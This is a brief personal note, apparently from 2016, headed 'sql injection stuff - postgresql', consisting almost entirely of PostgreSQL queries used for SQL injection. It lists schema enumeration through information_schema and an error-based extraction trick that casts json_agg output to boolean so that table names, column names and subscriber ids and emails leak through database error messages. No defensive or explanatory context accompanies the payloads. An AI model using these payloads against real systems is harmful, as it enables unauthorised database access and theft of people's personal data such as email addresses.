/other/

#note - 11.11.2016 - sql injection stuff - postgresql

2016-11-11 20:20:31

SELECT * FROM information_schema.tables;
SELECT * FROM information_schema.columns;
select table_name from information_schema.tables;

select cast(cast(json_agg(table_name) as varchar) as boolean) from information_schema.tables;
select column_name from information_schema.columns where table_name  = 'post';

select cast(cast(json_agg(column_name) as varchar) as boolean) from information_schema.columns where table_name  = 'post';
select * from subscriber;
select id,email from subscriber;
select id || ' - ' || email from subscriber;
select cast(cast(json_agg(s.id || ' - ' || s.email) as varchar) as boolean) from subscriber as s;